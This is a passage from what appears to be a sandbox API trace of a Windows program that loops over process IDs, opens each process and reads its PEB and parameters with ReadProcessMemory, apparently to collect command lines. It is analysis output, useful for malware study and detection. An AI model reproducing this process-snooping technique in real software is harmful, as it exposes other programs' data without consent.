lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.990] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222a8, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.990] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.990] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.990] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x367020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.990] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c60, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.990] malloc (_Size=0x7e) returned 0xe88120 [0312.990] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522308, lpBuffer=0xe88120, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88120*, lpNumberOfBytesRead=0x0) returned 1 [0312.991] free (_Block=0xe88120) [0312.991] CloseHandle (hObject=0xa9c) returned 1 [0312.991] _ui64tow_s (in: _Value=0xc8c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3212") returned 0x0 [0312.992] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3212") returned 4 [0312.992] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.992] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.993] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc8c) returned 0xa9c [0312.993] GetLastError () returned 0x0 [0312.993] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0312.993] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0312.993] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0312.993] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e27b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0312.993] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2358, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0312.994] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0312.996] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0312.996] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0312.996] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1d10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0312.996] malloc (_Size=0xbc) returned 0xec9480 [0312.996] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e23c4, lpBuffer=0xec9480, nSize=0xba, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9480*, lpNumberOfBytesRead=0x0) returned 1 [0312.997] free (_Block=0xec9480) [0312.997] CloseHandle (hObject=0xa9c) returned 1 [0312.997] _ui64tow_s (in: _Value=0x5e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1504") returned 0x0 [0312.997] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1504") returned 4 [0312.997] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.997] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0312.998] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5e0) returned 0x0 [0312.999] CloseHandle (hObject=0x0) returned 0 [0312.999] _ui64tow_s (in: _Value=0x7f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2040") returned 0x0 [0312.999] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2040") returned 4 [0312.999] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0312.999] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.000] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f8) returned 0xa9c [0313.000] GetLastError () returned 0x0 [0313.000] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.000] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x356018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.000] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.001] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d40, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.001] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.001] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.001] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.001] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x356020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.001] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.002] malloc (_Size=0x62) returned 0xeb62a0 [0313.002] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xeb62a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb62a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.003] free (_Block=0xeb62a0) [0313.003] CloseHandle (hObject=0xa9c) returned 1 [0313.003] _ui64tow_s (in: _Value=0x1048, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4168") returned 0x0 [0313.003] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4168") returned 4 [0313.003] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.003] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.004] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1048) returned 0xa9c [0313.004] GetLastError () returned 0x0 [0313.004] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.004] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x24c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.005] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.005] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.005] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.005] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.006] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.006] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x24c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.006] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x461c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.006] malloc (_Size=0x84) returned 0xe87c10 [0313.006] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4622d4, lpBuffer=0xe87c10, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87c10*, lpNumberOfBytesRead=0x0) returned 1 [0313.007] free (_Block=0xe87c10) [0313.007] CloseHandle (hObject=0xa9c) returned 1 [0313.007] _ui64tow_s (in: _Value=0x1050, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4176") returned 0x0 [0313.007] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4176") returned 4 [0313.008] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.008] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.008] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1050) returned 0xa9c [0313.009] GetLastError () returned 0x0 [0313.009] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.009] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x322018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.009] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.009] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.009] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.011] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.011] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.011] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x322020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.012] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.012] malloc (_Size=0x6a) returned 0xea8ca0 [0313.012] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22ba, lpBuffer=0xea8ca0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ca0*, lpNumberOfBytesRead=0x0) returned 1 [0313.012] free (_Block=0xea8ca0) [0313.013] CloseHandle (hObject=0xa9c) returned 1 [0313.013] _ui64tow_s (in: _Value=0x105c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4188") returned 0x0 [0313.013] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4188") returned 4 [0313.013] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.013] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.014] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x105c) returned 0xa9c [0313.014] GetLastError () returned 0x0 [0313.014] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.014] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.015] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.015] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e26b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.015] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.015] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.015] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.016] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.016] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.016] malloc (_Size=0x8e) returned 0xec70c0 [0313.016] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22de, lpBuffer=0xec70c0, nSize=0x8c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec70c0*, lpNumberOfBytesRead=0x0) returned 1 [0313.016] free (_Block=0xec70c0) [0313.017] CloseHandle (hObject=0xa9c) returned 1 [0313.017] _ui64tow_s (in: _Value=0x1068, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4200") returned 0x0 [0313.017] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4200") returned 4 [0313.017] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.017] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1068) returned 0xa9c [0313.018] GetLastError () returned 0x0 [0313.018] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.018] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ab018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.018] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.019] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.019] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.019] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.019] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.019] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ab020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.020] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.020] malloc (_Size=0x66) returned 0xeb6230 [0313.020] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f22b6, lpBuffer=0xeb6230, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6230*, lpNumberOfBytesRead=0x0) returned 1 [0313.020] free (_Block=0xeb6230) [0313.020] CloseHandle (hObject=0xa9c) returned 1 [0313.021] _ui64tow_s (in: _Value=0x1080, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4224") returned 0x0 [0313.021] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4224") returned 4 [0313.021] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.021] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0313.022] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1080) returned 0xa9c [0313.022] GetLastError () returned 0x0 [0313.022] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0313.022] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x34f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0313.022] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0313.023] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e26f0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0313.023] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2258, lpBuffer=0x5ec5a0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0313.023] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0313.023] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0313.023] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x34f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0313.023] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0313.024] malloc (_Size=0xa2) returned 0xe96c30 [0313.024] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e22f2, lpBuffer=0xe96c30, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe96c30*, lpNumberOfBytesRead=0x0) returned 1 [0313.024] free (_Block=0xe96c30) [0313.024] CloseHandle (hObject=0xa9c) returned 1 [0313.025] _ui64tow_s (in: _Value=0x1088, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4232") returned 0x0 [0313.025] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4232") returned 4 [0313.025] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0313.025] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", 